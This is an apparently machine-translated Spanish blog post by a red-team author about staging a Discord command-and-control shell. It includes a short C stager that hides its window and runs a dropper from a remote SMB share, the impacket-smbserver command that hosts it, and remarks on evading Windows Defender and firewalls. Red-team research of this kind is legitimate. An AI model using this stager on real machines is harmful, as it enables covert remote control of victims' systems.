Armando Discord Shell a través de SMB

Dec 04 2022
En el blog/video anterior (https://medium.com/@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd / https://youtu.

En el blog/video anterior (https:///@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd/https://youtu.be/LnXOtHhCx08) discutimos cómo utilizar Discord para ejecutar comandos remotos. En esta ocasión abordaremos las limitaciones mencionadas.

Si prefieres ver un video en lugar de leer, siéntete bienvenido a mi canal:https://youtu.be/Bocf7xM7XWQ

A pesar de que los resultados fueron agradables (pasando por alto el defensor de Windows, pasando por alto las restricciones del cortafuegos al enviar/recibir comandos en un canal confiable y encriptado), tuvimos que lidiar con un tamaño de archivo enormemente grande (más de 40 MB), así como también ocultar el proceso y la experiencia de GUI. .

Tenía varias ideas que analizaré ahora, al final cada idea tiene su propio margen para el fracaso. No puedo decir que desarrollé un caparazón estable, pero algo funcionó. ¡Empecemos!

Idea 1 — Crear un bot de Discord con C#

El problema con python y nuitka era el enorme tamaño del archivo, porque nuitka necesitaba compilar y combinar todas las bibliotecas incluidas. El fragmento de código personalizado es pequeño, todo el bot no tenía más de 40 líneas de código. Aunque el bot funcionaba perfectamente, es peligroso dejar caer más de 40 MB de ejecutables en el objetivo.

Eso me hizo pensar en formas alternativas de crear el caparazón. Mi idea inicial era crear el bot con .net framework. Puede preguntar por qué no .net core. Bueno, .net framework está preinstalado en todas las PC con Windows, lo que significa que si compilo un código en un ejecutable, se ejecutará sin problemas. Si tuviera que compilarlo en .net core, prácticamente tengo 2 opciones.

1. Enviar todas mis DLL junto con el ejecutable.

2. Compile un PE independiente.

Cuando profundicé con la biblioteca discord para C# (https://discordnet.dev/guides/introduction/intro.html) Me di cuenta de que la única opción para mí es compilarlo con .net core, ya que .net framework resultó no ser compatible. Después de muchos intentos de hacer que funcionara bajo .net framework, estaba enojado y decidí probar un enfoque diferente.

Puede preguntar ahora, ¿por qué no optar por la opción 2? Bueno, fui con eso y enfrenté más o menos el mismo problema. El binario .net core era incluso más grande que el nuitka.

Tal vez haya una manera de ejecutarlo en .net framework, pero se requiere más investigación y tiempo de prueba, ¡lo dejaré para el futuro! ¡Hacia adelante!

Idea 2 — El bueno de Nim

Después de investigar en qué idiomas puedo construir el bot, sorprendentemente, me topé con Nim y su biblioteca Dimscord (https://github.com/krisppurg/dimscord). Lo intenté con un poco de escepticismo, pero resultó que el bot funcionaba bien y el tamaño del archivo era pequeño. ¡Perfecto!

Como todas las cosas que parecen perfectas, ¡no lo son!

Nim tenía un problema general y ese es el soporte SSL. Cuando compilas y usas el bot en la misma máquina, funciona de maravilla. Tan pronto como transfiera eso a la casilla de la víctima, verá que:

Sí, debe llevar a cabo sus archivos DLL SSL junto con su ejecutable. No tan perfecto, ¿eh? Por supuesto, se investigó mucho sobre cómo se puede evitar eso, pero mis esperanzas murieron cuando vi eso:

https://github.com/nim-lang/Nim/issues/19099

¡Hacia adelante!

Idea 3 — Prepara el binario original de Nuitka

Hasta ahora, esta fue mi mejor idea que funciona. Creo que es mejor realizar una solicitud SMB que colocar más de 40 MB ejecutables en el destino.

La idea aquí es simple, alojar el binario con impacket-smbserver y crear un C POC simple para organizarlo. Veamos el código C:

#include <stdio.h>
#include <windows.h>

int main()
{
  HWND myWindow = GetConsoleWindow();
  ShowWindow(myWindow, SW_HIDE);
  system(\\\\IP\\shareName\\dropper.exe");
}

La siguiente parte es simple, ejecute el archivo en el recurso compartido remoto.

Después de alojarlo con:

impacket-smbserver smb . -ts -debug -smb2support

Terminando

Por supuesto, hay mucho espacio para mejorar, pero hasta ahora, las cosas están mejorando cada vez más. En el futuro, podemos intentar ocultar el escenario en sí, o cambiar completamente el enfoque nuevamente.

Espero que eso le dé una buena base de cómo puede pensar fuera de la caja y encontrar una solución ingeniosa para un problema.

Siéntete bienvenido a mi servidor Discord (no hay bots C2, no te preocupes), donde compartimos experiencia y conocimiento:https://discord.gg/dWCe5ZMvtQ

Además, agradecería su apoyo suscribiéndose a mi Youtube:https://www.youtube.com/c/Lsecqt, eso significa mucho para mí!

¡Espero que hayas disfrutado y aprendido algo nuevo!

Si quieres apoyar mi trabajo, puedes hacerlo con cafés y Bitcoin:

https://www.buymeacoffee.com/lsecqt

3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC